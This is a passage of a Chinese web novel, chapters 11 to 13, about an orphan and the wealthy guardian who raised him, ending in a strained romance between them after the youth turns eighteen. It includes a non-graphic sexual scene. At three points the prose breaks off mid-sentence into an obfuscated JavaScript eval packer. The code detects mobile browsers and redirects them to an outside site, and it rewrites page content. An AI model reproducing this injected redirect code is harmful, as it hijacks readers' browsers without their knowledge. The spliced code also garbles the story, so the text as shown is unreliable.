“不用这么客气,都是孤儿嘛,互相关心一下,应该的。” 陆什不知道许逸飞为何对“孤儿”两个字如此热衷,但他一整年来头一次没有反驳,雪糕在舌尖上化开,冰凉冰凉。 高一下学期的最后几周,同学们热切讨论着文理分科的事情,白天在教室讨论,晚上在宿舍和家长打电话讨论。 “我想读理科,但脑子不够用咋办……大学想学电力工程。” “想学医是读文科还是理科啊?” “更喜欢文科嘛,毕业后去师范学小语种……” 路过宿舍走廊,类似的讨论层出不穷。每个人似乎都有清晰的规划,每个人身后都有出谋划策的家长。 陆什平静地从打电话的人群中穿过,第一次感到有些迷茫。老师把分科与高考强调得那么重,似乎是人生的头等大事,可他只感到做梦般的轻飘飘。真有那么重要么?如果是真的,为什么手机消息里只有短短的几个字——“你自己决定就好,不要有压力。” 似乎是发炎了,右耳的耳洞和手腕的纹身都在隐隐作痛。上周末路过纹身店,他停顿了一会儿后走了进去,两个小时后出来,手腕处多了一朵小小的黑色玫瑰,花芯艳红。 他无法解释那一刻鬼上身般的驱使感来自哪里。 他从小就是好学生,漫长的学生生涯中,他只做过两件出格的事情。 第一件是在初一,他帮同学摘抄好好词好句,一周赚了好几百块钱。被班主任拎去办公室罚站并通知家长。很快,上周末没来看他的贺开火急火燎地赶来,摸了摸他的头发和后颈,告诉他,没事。 第二件是在高一,就在广播通报批评XX班的XX同学染头发后,他做了比染头发更严重十倍的事情——纹身。这简直是罪无可恕,罪大恶极。他期待着班主任发现,然后被请家长。 可班主任只是把他叫到办公室,温和地说:“小陆啊,你成绩好,压力也大,适当放松是好事。以后你有什么事都随时可以来找老师,你存一下我的私人号码。” 那天他踏着初夏的碎叶在操场走了十圈,心想,过了今晚他就满十六岁了。在早些年,十六岁便已经算是成年,成年后便不能再软弱。 手腕上的纹身他会留着,永远留着。每看到一次,摸到一次,都是在鞭笞那个曾经软弱的他自己,以此为鉴。 11.第 11 章 烈日高悬的炎炎夏季里,高一的暑假开始了。和贺开一通不痛不痒的通话后,陆什留在了学校,和许逸飞一起打工。 许逸飞机灵,能干,嘴甜,见缝插针地寻找各种赚钱机会,白天去奶茶店和餐厅帮工,晚上给初中小孩补习,凌晨还要去守个店铺。陆什跟着他一起干,每天顶着黑眼圈累得半死不活,一沾床就能睡得天昏地暗。与此同时瘦了好几斤,原本还有些婴儿肥的脸变得棱角分明,越发凸显优越的骨相。 二十多天便赚够了一整年的学费和生活费,工作狂许逸飞总算松了口气,喜滋滋地把到手的工资存好,提议道:“反正也没事做,我带你去我老家玩吧?” 陆什:“老家?” “在乡下,很偏僻,但很好玩。”许逸飞眉飞色舞地比划,“能上树摸鸟蛋,下河摸鱼,有一大片野生桑葚,吃到饱。” 陆什没什么所谓地点头:“行。” 坐上一辆沾满灰尘年久失修的破客车,在哐当哐当的声音中,客车向着山区出发了。 许逸飞把身份证抽出来递给陆什:“给,你拿着。” 陆什疑惑地挑了挑眉:“嗯?给我做什么?” “我们要去的地方很偏僻,在很深的山里,要转三次车,坐两天时间。我怕你会觉得被拐卖了,所以身份证先给你拿着呗。” 陆什笑了笑:“至于么?” “你一看就没去过山里。”许逸飞说,“方圆十里一个人影儿都没,电话打不通,全是树林。一旦被拐卖,这辈子就完了。就算报案也是悬案,我们县的公安局里有好多陈年悬案呢。” 陆什确实没去过乡下,更没去过山里。他最初的记忆便是福利院灰色的高墙,后来贺开每周带他去玩,去的都是繁华的大都市,金碧辉煌的场所。 他颇有兴致地问:“被拐卖会怎么样?” “会干活儿,一辈子干活,你认识的人再也找不到你。”许逸飞说,“不是吧兄弟,我咋觉得你还挺感兴趣?” 驶过洼路的客车被震得上下晃荡,陆什调了调腰间安全带的松紧,无所谓地说:“那也挺好的。” 夏日的山里凉快极了,许逸飞带着陆什去河里抓鱼,就地升起火堆,制作香喷喷的烤鱼。山间花草丰盛,野生的果实硕硕累累,一切对于陆什来说都是那样的新奇。 夜里两人挤在破屋里仅有的一张床上睡觉,听着许逸飞讲山间鬼怪的故事,看着破了洞的屋顶透出的明亮星子,陆什心里有种奇异的平静,似乎此前几年在城市的生活是一场幻梦。 与世隔绝的桃源生活过了一周,意外发生了。 多年没人居住的小破屋太过弱不禁风,听到不寻常的嘎吱声时,陆什已经反应非常快地拉着许逸飞往外跑,却还是被坠落的房梁正正好好砸在脊背上。 那一瞬间的剧痛让他迅速失去意识,再醒来时全身上下无一不痛,肩膀处更是钻心的疼痛,稍微一动就满身冷汗眼前发黑。他冷静地估量了一番,右边肩胛骨应该是被砸断了,上半身动不了。腿虽然被房梁与碎石压着不能动弹,但应该没有大碍。 他听到隐隐约约的哭泣声,勉强开口道:“许逸飞?” 哭声停了一下,随即是惊喜的声音:“小陆,小陆,你怎么样?吓死我了,我一直叫你,你没声音……对不起,我不该带你来这破地方……” 他说着又哭了起来:“怎么办啊,离这最近的一家都有好几里地,平时没人过来的,我们死定了……我刚赚的学费……我感觉不到腿,是不是要截肢了,不对,我都要死了……对不起,害死你了……” “你先别哭。”陆什艰难地吞咽了一下,把满嘴的血腥味咽下去,“你躺的地方是角落的灶台,有遮挡,不会砸断腿。是不是被石头压麻了没知觉?” 许逸飞在他的话语下平静了一些,哭声停止了。过了一会儿后道:“是、是压麻了,我的腿还在。你呢,你怎么样?摔到哪里了?” 陆什闭了闭眼,阻隔住滴入眼睛的冷汗,哑声道:“我没事。你手机在身边吗?” “在,在,但是打不通电话,这里没信号。”许逸飞沮丧地说,“所以还是死定了,这破山沟太害人了。” “你用我的手机试试。”陆什道,“你手臂能动么?尝试一下,手机在我左边裤兜里。” 窸窸窣窣的声音响起,几分钟后,一只手臂艰难地从石头间隙里伸过来,拿走了他裤兜里的手机。 许逸飞惊喜道:“有信号!” 陆什嗯了一声,又说:“你别急,打110和120,和他们说清楚位置,会没事的。” 在许逸飞断断续续打着电话时,陆什想到贺开。手机是贺开买的,每年都会送他最新款旗舰机,据说有断网后的卫星信号什么的,竟然真的派上了用场。他想着想着,意识迷糊了下去,又被许逸飞的声音唤回。 “……他们说马上过来,让我们坚持。”许逸飞道,“点开了你的通讯录,第一个联系人是''A-哥'',你……真有哥哥啊?要不要给他打电话?” 陆什迟钝地唔了一声,后知后觉自己刚才是疼晕过去了,他说:“那打吧。” 开了免提后,嘟声在狭窄的空间里极为清晰,一声又一声,嘟——嘟——嘟—— 陆什闭着眼睛听着这声音,感觉每一秒都被拉得无限漫长,直到机械女声响起,时间才恢复正常流速。 “对不起,您拨打的电话暂时无法接通,sorry, the number you have dialed......” 荒无人烟的山坳,连没有信号的卫星报警电话都能拨通,却拨不通本该是最亲近的人的号码。 许逸飞道:“要不要再打?” “不用,他可能在忙。”陆什声音冷静,条理清晰的慢慢说道,“隔着很远,他也帮不上忙,还会徒增担心,没有必要。我们等救护车就行了,手机没多少电,留着以防万一联系警察和医院用。” 失血和疼痛让他意识迷糊,他的声音渐渐低下去,咳了一声,再次咽下满口血腥。 “小陆,你别睡啊,和我说说话。”许逸飞声音惊慌,又带上了哭腔,“我害怕,你别睡。” 陆什强打精神安慰他:“我没事,你也会没事的,放心吧。你别哭,尽量保存体力和氧气,你盯着手机,医院那边有消息就通知我。” 他又道:“我睡一会儿,你害怕的话,就半个小时叫我一次,我会回应的。” 他说完就陷入昏睡,但似乎仍有一根细细丝线般的意识牵着外界,于是许逸飞每次叫他都能得到回应。 再醒来时,已经在县里的医院。 许逸飞头上包裹着白色纱布,正坐在旁边的凳子上啃苹果,见陆什醒来,几乎喜极而泣:“你醒了!感觉怎么样!” 还没等陆什开口,他又噼里啪啦地说道:“这次全怪我!医药费我来出,你好好养伤就行。放心吧,开学还有一个多月,我去赚够咱俩的学费,绝对没问题。” 陆什花了半分钟的时间适应右侧肩膀的剧痛,在废墟下时他就已经估量过,做手术是免不了的,应该会花一大笔钱,显然不是许逸飞能负担的。 他说:“我兜里有一张卡,用那张卡缴费就行。” 半个小时后,缴费回来的许逸飞满脸惊愕,嘴巴几乎张成O形:“不是吧兄弟?你卡里的钱够买房买车了吧?你还和我拼死拼活打暑假工挣那点钱干什么呢?” 他又正色道:“虽然你钱多,但这医药费就当是我借的,先欠着,毕业前我会还给你。” “不用。” 许逸飞道:“那你先休息,有事就喊我。” 很轻的关门声响起,陆什闭着眼睛休息了一会儿,恢复了些力气,用扎着针管的左手拿起床头充满电的手机。开机后,通话记录里有两个未接来电。 他拨了回去。 几声嘟声后,电话呼叫转移。贺开在忙的时候手机会设置免打扰,所有来电都会转移到秘书的手机上。 叶秘书那熟悉的声音响起:“小陆,是你吗?” “嗯,叶哥。”陆什道,“贺先生在忙吗?” “贺总这几天在国外出差,昨天你打电话的时候他在应酬,他回电话时好像已经太晚,你没有接到。他今天在忙,让我留意你的电话。”叶秘书说,“是有什么事吗?我等他忙完就转告。” 陆什道:“没什么大事。下周学校有个封闭式夏令营,为期半个月,我怕他会联系不上我,所以提前告知一声。” “好的,我会转告他的。”叶秘书道,“他忙完估计在下午,需要我转告他回个电话给你吗?” 陆什捏紧了手机,话语在舌尖转了一圈,他说:“好,那麻烦你了,叶哥。” “不麻烦,应该的。”叶秘书又道,“小陆,你分科的事情确定好了吧?如果学校有事情的话,随时联系我,我会全权处理。” “好的,谢谢。” 那根砸落的房梁砸断了陆什的肩胛骨,手术后过了一周,他才堪堪能下床行走。等养好出院,已经临近开学。只可惜直到出院,他也没能接到那通电话。 接下来的一年多时间平淡过去,越接近高考,学校需要家长配合的地方就越多,签字,开会,各种事务层出不穷。 陆什已经习惯了直接拨通叶秘书的电话,而叶秘书也习惯处理好学校的一切事情。 高三第一次月考后,照例要召开家长会。陆什习惯性地打电话给叶秘书,刚说了两句,就听叶秘书说了句稍等,随即贺开的声音通过电话传来。 “小陆,是我。”贺开声音带笑,“你最近怎么样?学习累不累?” “贺先生,您好。”陆什礼尚往来,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贺开在生意场上游刃有余,一个小小的同学聚会更不在话下。他幽默风趣,很快以“陆什的哥哥”的身份融入了这场聚会。 宽敞的包间内,陆什的左边坐着贺开,右边坐着许逸飞。他总感觉许逸飞今天火药味很重,话语中带着尖刺,还莫名其妙往他身上靠。 中途贺开拍了拍陆什的肩膀,把他叫到外面的走廊上。 与包间内的喧嚣相比,走廊尽头的位置安静得宛如深夜。 贺开问道:“高考结束了,开心吗?” 陆什道:“还行。” 贺开又说了几句无关痛痒的问候,他似乎有点喝醉了,双手环胸背靠着冰凉的瓷砖,终于说道:“你旁边那位同学,名字叫许逸飞的,他好像心情不好?” 陆什略微思考,道:“可能没考好吧。” 贺开笑了一下:“不对。” “是因为我,因为他看到我和你亲近,不开心了。” “他和你表白了吗?”贺开又道,“应该快了,最晚在今天结束前,他就会和你表白。” 陆什沉默地看着他,不知道日理万机的贺总怎么有空关心他某位同学的心情好坏,又怎么能说出这样荒谬的醉话。 贺开笑眯眯地凑近了些,两人之间便隔得非常近了:“不相信吗?小崽,我看人很准的。” 陆什终于开口:“您喝多了。” “早着呢,啤酒怎么喝多?”贺开脸上有点泛红,眼神却清明,他追问,“你不相信吗?” 陆什指出了最显而易见的矛盾点:“我是男生。” 似乎觉得不够明确,他又添了句:“他也是男生。” 贺开又笑了,意有所指:“男生当然也可以喜欢男生。” 他又道:“小陆,你记不记得我和你说过,我不会有孩子,你会是我唯一的孩子。” 陆什当然记得,这是贺开签那份领养合同后对他说的第一句话。他当然不会当真,更不会提起这些褪色的陈年旧事。 他委婉地说:“不记得了。或许是您记错了吧。结婚生子是您的权利,您不用介怀。” 贺开笑得更开怀了,甚至让陆什觉得有些莫名其妙。 “我们出来这么久,你的同学或许已经在酝酿着表白了,你会接受吗?” “不会。” “你现在相信我说的话了吗?你不惊讶?” 在短短的几十秒内,陆什回想了这三年来和许逸飞相处的点点滴滴,他承认贺开说的是对的,他终于了悟。可那些不重要。 “没有什么可惊讶的。”他平静地说,“我不会和男生谈恋爱。” “他不是你的朋友么?” “不重要。” 走廊的灯光下,刚满十八岁的青年神情冷淡,右耳的银色耳钉散发着淡淡光晕,于是衬得那张英俊的脸更为锋利冰冷,就像拒人于千里之外的冰山。他嘴唇的形状英气漂亮,说出的话却是薄情,许逸飞如果在这里,应该会被那冷酷的话语直接击碎。 “如果是我呢?” 陆什的眉峰微微蹙起:“您什么?” 贺开略微低着头,指节曲起摁了摁眉心。沉默了半晌后他抬起头,向陆什走近了一步:“如果是我想和你谈恋爱呢?” 12.第 12 章 “如果换成是我想和你谈恋爱呢?” 长久的静默中,似乎连空气的流动都静止了,只剩隐隐的歌声与笑声从远处包间传来。 像是过了一个世纪那么久,陆什才冷冷开口:“贺先生,这并不好笑。” 贺开叹了口气,道:“我没有开玩笑。” 陆什再一次和他确认:“您刚才说的谈恋爱,指的是?” “男人之间谈恋爱,和男女之间谈恋爱没什么不同。”贺开像小时候教他打斯诺克一样耐心地解释说明,“拥抱,牵手,接吻,做/爱,一起吃饭,一起睡觉,分享生活。” 他每说一个词,陆什的脸色就更冷一分,到最后面沉如水,眼眸生霜,凝结着少年人面对侮辱时的愤怒,向来彬彬有礼的语调变得嘲讽:“贺先生,您就算失恋了,急着找下家,也不用这样病急乱投医。” “失恋?”贺开诧异地说,“我没有谈过恋爱,当然更没有失恋过。” 陆什面无表情地审视着面前的人。 贺开又道:“你见过我谈恋爱么?和谁?而且我说过,我不会有孩子,你应该明白我的意思。” “您的意思是,您的性取向,一直是男性?” “对。” 陆什想起从副驾下车的那位黑发红裙美女,美女攀着贺开的肘弯,两人并肩走进餐厅。那一幕距今还不到一年时间,他看不出那位美女有任何像男性的地方。但他懒得去问,没有必要。贺开说的话,他一个字也不信。 毕竟贺开很久很久之前还说过,每周都会来看他。 贺开背靠着冰冷的大理石墙壁,条理清晰地慢慢说道:“你可以放心,我没有谈过恋爱,没有和人接过吻,更没有和人上过床,你会是我的初恋。我知道你从小到大学习都很用功,所以你肯定也没谈过恋爱。暑假一过,你就上大学了,会遇到形形色色的人,鱼龙混杂,不一定都是好人。你……” 他顿了顿,接着道:“你容易被骗——连那位同学喜欢你好几年都看不出来,可不是容易被骗么?你的第一次,如果是和我,就能少走很多弯路。毕竟我们知根知底,我是你哥哥,我不会骗你,我会对你很好,非常好。” 陆什安静地听完他的长篇大论,终于开口:“我不喜欢。” “没关系。”贺开微笑说道,“感情是可以慢慢培养的,我们……” “我是说,不喜欢您用谈判的语气和我说话。”陆什打断了他。 贺开愣了一下,后知后觉意识到自己把商业场上谈判那一套用了出来。好像是喝得有点多。他揉了揉额角,稍微清醒了些,真诚地说:“抱歉。” 陆什薄唇紧抿,一言不发,低头去看手机消息。 “是那位同学找你吗?”贺开道,“你先去吧,看看我说的是不是真的。” 陆什收起手机,转身离开。 “小崽。”贺开喊住他,“我刚才说的话,没有逼你做决定的意思,你可以慢慢想一想,好吗?” 陆什并未回头,大步离开了。 贺开看着青年的背影远去,靠在墙上长长地喘了口气。他失笑地捂住脸,心道,他竟然在紧张,他竟然在害怕被当场拒绝,难道真是喝醉了?可当然不会——应酬时两斤白酒下肚都面不改色,今天不过喝了几瓶啤的,怎么可能醉。 他随手推开一个空包厢的门,躺在冰凉的真皮沙发上,手背搭着额头,叹了口气。好吧,他可能确实醉了,就算不是因为酒,也是因为别的。 他还记得半年多前去见陆什的那一面。秋天的微风里,两年多未见的少年面色平静,礼貌地称呼他为“贺先生”。他们吃了一顿并不算愉快的午餐。 右耳有耳钉,手腕上有纹身,吃饭时只夹清淡的菜,并不碰他小时候最喜欢的那一道辣子鸡——短短两年,竟然连口味都会变的么? 高速路上,贺开一边开车,一边走神,他一遍遍回想短短两个小时内相处的细节。到了最后,他不得不承认,十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926540|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七岁少年身上已经完全没有当年那个小男孩的影子。他把当年的小男孩搞丢了。 而在少年的新生活里,他的分量甚至比不上他的秘书。 这个发现让贺开心里有丝细细的别扭,于是下周,他再次开车去了陆什的学校。 吃饭时,贺开问了陆什的学习和生活,问他手臂上的擦伤是怎么来的。陆什说是打篮球时不小心蹭的。 贺开知道陆什喜欢斯诺克,偶尔也打打乒乓球,但他不知道陆什还喜欢篮球。那种怪异的别扭又涌上心头,他养大的男孩发展出了新的爱好,而他一无所知。 到了下一周,他再次去了陆什的学校。 每一周的会面中,他都像挖宝藏一样挖掘着少年身上新增的点点滴滴,某个老师的口音,某个同学的绘画,打球时遇到的对手,食堂的饭菜…… 少年平平淡淡地说上那么一句,就能勾得贺开心里痒痒——他心想,再多说一点吧。他想找回曾经那个对他亲密无间的男孩,回到最初。 工作上最忙的那段时间已经过去,于是贺开每周都开车去陆什的学校,直到高考。 此时躺在空荡荡的包厢里,听着隐隐约约的歌声与人声,贺开无声地叹了口气。他知道他今晚是冲动了,可他并不后悔。 今晚的聚会属于年轻人,充斥着酒精、泪水与狂欢。他看到那个名叫许逸飞的同学一次次投来的敌视目光,看到许逸飞一次次借着酒劲往陆什身上靠,看到红着脸的女孩在陆什面前放下一朵夹着纸条的玫瑰花,看到拿着话筒的女孩唱着热烈的情歌看向陆什…… 贺开终于知道那股萦绕了好几个小时的烦闷与别扭劲儿是什么—— 原来是嫉妒。 他简直提心吊胆,生怕陆什会答应某一份示好,那么陆什将会有一个女朋友或男朋友,那个女朋友或男朋友会横插在他与陆什之间,就像一颗讨人厌的砂砾硌在香喷喷的米饭中。 而陆什最亲近的人明明应该是他。 13.第 13 章 没过多久,陆什去而复返,站在门口光影交界处,神情不明地望向里面的人。 贺开撑着沙发坐起身来,从他的表情中得知自己猜对了一切。这本就不难猜,只需要一点点细致的观察与分析,何况许逸飞的喜欢与嫉妒都是那样的明显。 “那么,你的答案是什么呢?”贺开后知后觉自己的声音里藏着不明显的紧张,又因为酒醉带着丝丝的颤意,他屏住呼吸。 陆什站在那里,直直地看了他半晌,语气冷漠:“合同内容是什么?” “什么合同?”贺开先是愣了一下,反应过来后,从一开始就屏住的呼吸终于缓缓放松,他微笑着解释,“是谈恋爱,不是做生意,没有合同,自由发挥。” 就这样,陆什最终答应了与他交往。 再回到充斥着欢笑与酒香的包间时,贺开的心情已截然不同。之前的气闷与嫉妒一扫而空,如今他满心欢喜,仿佛找回了失而复得的珍宝。 “喝酒吗?”贺开问道,“今天毕业,是难得的重要日子,想喝的话可以喝一点。” 陆什拒绝:“我不喜欢喝酒。” 语气是抗拒而冷硬的,贺开并不意外。今晚是他太着急了,是他的错,没关系,他可以慢慢弥补。他会对陆什很好,非常好。 “那,吃荔枝吗?” 贺开用湿巾擦了擦手,又用纸巾再擦了一遍,而后拿起果盘里一粒鲜红个儿大的荔枝,细致地剥掉外壳,露出晶莹剔透的饱满果肉。他举着荔枝递到陆什嘴边。 陆什垂眸看着荔枝,看了很久,贺开耐心地举着,时间一秒又一秒过去。 像是过了一个世纪那么久,陆什才轻轻嗤笑了一声:“我也不喜欢荔枝,抱歉。” “没关系。”贺开说,“我记住了,以后有不喜欢的东西也要告诉我,我会记住你的习惯。当然,喜欢的更要告诉我。” 他想了想,又道:“暑假有没有想去玩的地方?你小时候喜欢玩水,想去海边或者江南吗?” 陆什依然是一副提不起兴趣的冷冰冰模样:“不喜欢旅游,抱歉。” “那,就在本地就近找地方玩玩吗?想爬山吗?你小时候爬山特别快,还记得吗?” “不喜欢爬山。” “那去参观大学好不好?提前去看看喜欢哪所大学,到时候填报志愿也有参考。” “不喜欢。” “那你想不想……” 话还没说完,陆什已经打断:“不想。” 贺开笑了笑。他见过陆什全身心依赖他时的乖巧模样,也见过陆什疏远他时的礼貌模样,唯独没见过陆什冷冰冰与他赌气的模样,这非常可爱。没关系,他可以慢慢的来,慢慢修复两人的关系,慢慢摸索着去讨他新晋小男友的欢心。 “那喝点水吧,说这么多话,嗓子有点哑了。”贺开拧开一瓶矿泉水递过去,“累了的话就早点回酒店休息,好吗?明天我们再商量暑假的安排,你有任何想法都可以告诉我。” 陆什一路都在沉默地生闷气,贺开耐心又温和地哄了他一路,却依然没有得到半分好脸色。 回到酒店,贺开从前台接过一个纸袋,陆什已经闷不做声走出好远。他加快脚步追上去,在电梯里握住了青年的手腕。 “这里是怎么弄的?没感觉到么?”手背上有一条细小的划痕,应该是不小心在哪里蹭到的,血液已经干涸。 狭小的电梯里,陆什和他僵持许久,硬梆梆地说:“忘了。” 贺开从纸袋里拿出棉签和碘酒,小心翼翼地给伤口消毒,又贴上创可贴:“这几天洗手时小心一点,伤口别沾到水。” 陆什抽回手,抱着双臂靠在电梯角落里,全身上下写满了“生人勿近”。 贺开叹了口气,说:“对不起。” 陆什的目光终于缓慢地落在他身上。 “今晚的事太突然,让你感觉不舒服了,我道歉。”贺开说,“你有什么想法,我们可以开诚布公地好好谈一谈,好吗?” 陆什收回目光,看着正缓缓打开的电梯门:“我说过,不喜欢您用谈判的语气和我说话。”他走出电梯,擦身而过时带起一阵穿堂的冷风。 那一瞬间的对视,贺开确信自己在青年眼中看到了“失望”。 “我错了,对不起。”贺开再次道,“那你冲我发火吧,别憋着。” 回应他的是用力甩上的房间门。 贺开看着面前紧闭的房门,无奈地笑了笑。原地站了几分钟后,他进入了隔壁的房间。 陆什的愤怒只持续了一晚,第二天见面,他又变回了礼貌疏离的模样。仿佛一夜之间接受了命运。 贺开订好了机票,带着陆什去了海边。 炎热的夏季,海边人满为患。可世上没有什么是钱办不到的事情,在金钱的运作下,一切变得简单。贺开没有谈恋爱的经验,只好让一切都极尽所能。豪华游艇,海上烟花,海鲜大餐,他使尽浑身解数想讨他年轻情人的欢心,可陆什始终都是淡淡的。 贺开发现,在“男朋友”这个新晋身份上,自己实在是乏善可陈。于是他切换回了“哥哥”的身份,当做工作之余带着高考结束的弟弟出门旅游。他又发现,不去搞那些烧钱的、花里胡哨的东西,陆什的冷淡程度似乎有所降低。 从海边离开后,又去了江南。 正赶上一场莲花灯会,夜里百舟泛凉,穿行于茂密的莲叶荷花之间,满河夜灯,幽暗却美丽。 夜风送来阵阵凉意,透过飘飞的纱帘,隔壁船的情侣正在激情热吻。贺开突然觉得杯里的烈酒没了味道,他看向身边的青年,问:“做/爱吗?” 陆什正摆弄着桌上用来包裹糕点的荷叶,修长灵活的手指把绿色荷叶叠成了一只挺着大肚皮的青蛙,两颗绿豆镶成的眼睛直愣愣又傻乎乎,那模样滑稽可爱极了。他玩得开心,唇边似乎有一丝浅浅的笑意。 听到问话,他显然反应了许久才明白那三个字的意思,神情凝固了。半晌,他问:“这也是合同的一部分?” 贺开笑了笑,道:“这是恋爱的一部分。” 他又道:“我教你,不难的。” 这当然不难,男欢女爱本就是人类本能,即使一方换成了男性,也不过是万变不离其宗。 深夜的酒店,只剩床头一盏昏黄微光。 第三次尝试失败后,陆什神情木然,声音紧绷:“一定要做吗?” 贺开痛得面无人色,冷汗涔涔,勉强维持着声音冷静:“没关系,你不用管我,想怎么来就怎么来。” 陆什深吸了一口气又缓缓吐出,他闭了闭眼,伸手按灭了床头的灯。一片黑暗寂静中,他说:“那您转过去,可以吗?” 贺开明白,陆什不想看见他的脸,即使灯已经熄灭。他笑了一下,说行,艰难地翻了个身趴好。 接下来的事情似乎就容易多了,黑暗天生就是男人的助/兴药,黑暗中的男人天生就有暴力的天赋。陆什果然不再去管贺开的感受,那痛感几乎是绝伦的,贺开甚至觉得自己一次次痛晕过去又醒来,他紧咬着被子的一角,始终没有发出声音。 年轻人的身体如青竹修长,按在他后/腰的手滚烫。不知过了多久,贺开听见一声极轻的喘//息,从喉咙的深处溢出,带着沙哑的磁性,就像用粗粝的石锤敲响编钟。 仅仅是一秒,声音的主人就紧闭嘴唇,截断了声音的通道。此后两年多的时间,两人做过许多次,贺开却再也没听见过陆什在过程中发出任何声音。 身体分开后,贺开是痛得动不了,但身后的人也没有动。就这样沉默了好几分钟,陆什冷冰冰的声音没有一丝起伏地响了起来:“下次不来了。” 声音很冷,很平静,但贺开就是莫名地听出了委屈——就像一个知道自己考差了的学生,抢在老师的责问前承认自己就是很差,并发誓以后再也不考了。 贺开撑着床,翻了个身坐起,一瞬间全身被冷汗浸湿,他毕生所有的毅力都用在了此刻才忍住了痛声。 夜很深了,黑暗中只有青年坐着的模糊影子。 “为什么不来?”贺开微笑着说,慢慢地向那影子挪了过去,他紧咬着下唇直到尝到血腥味才吞回痛呼,每说一个字就浸出一身的汗,“宝宝,你很好,特别好。” 他摸索拉住对方的手腕,又凑上去。 陆什偏过头去,躲开了他的吻。 贺开安慰地揉捏着对方的手指与掌心:“累不累?早点休息好吗?明天有没有想去的地方?” 陆什沉默着抽回手。 贺开又笑:“我没事。” 等陆什离开后,贺开躺在床上足足缓了一个多小时才能移动。他强撑着去浴室洗了个澡,疼得几乎一晚没睡。 到了第二天果然发起了烧,全身上下都在痛。他发信息给陆什,只说今天有个重要视频会议,不能带他去玩,让他自己去周边逛逛,陆什说好。 让酒店前台送来退烧药,贺开睡到晚上,感觉好了一些,高烧变成了低烧。虽然身体还在痛,但总算能下床了。 他打电话给陆什,说晚上带他去一个地方。 陆什那边很安静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944890|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有清浅的翻书声,说话也是轻声。 “你在哪里?”贺开问,“我来接你。” 陆什报了个地方,就在酒店对面的咖啡馆。 贺开说:“好,我马上来。” 下楼时,陆什已经在街边等他。贺开鼻子很灵,闻到了青年的衣服上淡淡的咖啡豆香味,应该是在咖啡馆待了很久后沾染上的。 出租车在一个很偏僻的地方停下,下车后,贺开走得很慢,陆什不催促也不问,只沉默地跟在他身边落后半步的位置。 穿过七拐八拐的街巷,停在一家排着长队的糕点铺前。 糕点铺一看就有些年头了,店面很小,装潢是上世纪六七十年代的风格,招牌要落不落,生意却异常火爆。 排上队后,贺开转身笑吟吟地问:“小崽,你记得这家的云片糕吗?你小时候特别爱吃。” 那年陆什才上六年级,某个本该见面的周末里,贺开在外地办事没能赶回来。小陆什在电话里很乖地说:“哥,你别急,我等你。” 贺开吓唬他:“困了就先睡,不要熬夜,不然长不高。” 小陆什说:“我想你了嘛,哥,想等你。” 正匆匆赶往机场的贺开被这话熨帖得止不住笑意,他拎着刚出炉的当地特产糕点,再也装不出严肃,那太难了。 “你明天要上学的,熬夜的话,上课打瞌睡怎么办?” “我上周又考了一百分呢,就算打瞌睡也能再考一百分。” 回到A市已经是凌晨两点,小陆什趴在桌上昏昏欲睡,听见开门声,他惊喜地坐起,蹭蹭蹭地跑过来抱住贺开的腰:“哥!” 贺开摸了摸他的头发。糕点已经凉透了,两人却吃得津津有味。 “他家招牌是椒盐味的,可惜没有了,下次我带你去吃刚出炉的。” 小陆什眼睛亮亮的:“不用可惜,这个豆沙味的也很好吃。” …… …… 此时,陆什看着他,只道:“不记得了。” 贺开从他的眼神中知道,他当然是记得的。这时候的陆什还不善于掩藏情绪,所以被他看了出来。而之后的两年多里,陆什渐渐将情绪掩藏得完美,以后的每一句“不记得”,贺开都不再能分辨真假。 贺开笑着说道:“嗯,今天应该能买到椒盐味的,很好吃。” 排到他们时,刚好还剩最后一份椒盐味的云片糕。 贺开说:“尝尝,刚出锅应该是最好吃的时候。” 两人在喷泉池边的长椅坐下,坐下那一瞬间贺开差点没能控制住表情,缓了半分钟才适应痛感,后背又起了一身冷汗。 刚出锅的云片糕香极了,将空气也染得香甜。 贺开问道:“好吃吗?” 陆什没什么表情地说:“还行。” 贺开笑了笑,拿起一块豆沙味的递到他嘴边:“尝尝这个豆沙的,你以前不是说好吃么?” 陆什看了他两秒,嘴唇微张,咬住了云片糕。 贺开感觉到,陆什此时的心情应该算是不错。虽然这一路上陆什都在心情不好,但他此刻的心情应该远远好过在豪华游艇上和在烟花盛宴下时。二十块一斤的云片糕,似乎比几十万的游艇更能讨他的欢心。 回去的路上,贺开几乎是咬着牙在强撑,到最后痛感几乎已经麻木。 回到酒店房间刚坐下不久,敲门声传来,他挪过去打开门,陆什站在门口,手里拎着一个精致的纸盒:“还给您。” 贺开当然知道纸盒里是什么,是他送给陆什的毕业礼物,一张银行卡,一把车钥匙,一只钻戒。如今陆什又原封不动地还了回来。 陆什礼貌地冲他点点头,转身回了隔壁房间。 贺开随手把纸袋往桌上一放,却因为身体疼痛用力不稳,导致纸袋倾斜,里面的东西滑落出来。 银行卡,车钥匙,钻戒盒子。 还有……一支消炎药膏。 贺开看着那支药膏,心脏像是被羽毛拂过那样轻轻地痒了一下——这场“恋爱”始于他的嫉妒与占有欲,他着急忙慌地想要占领“陆什最亲近的人”这个角色,开始扮演一个合格的男朋友。 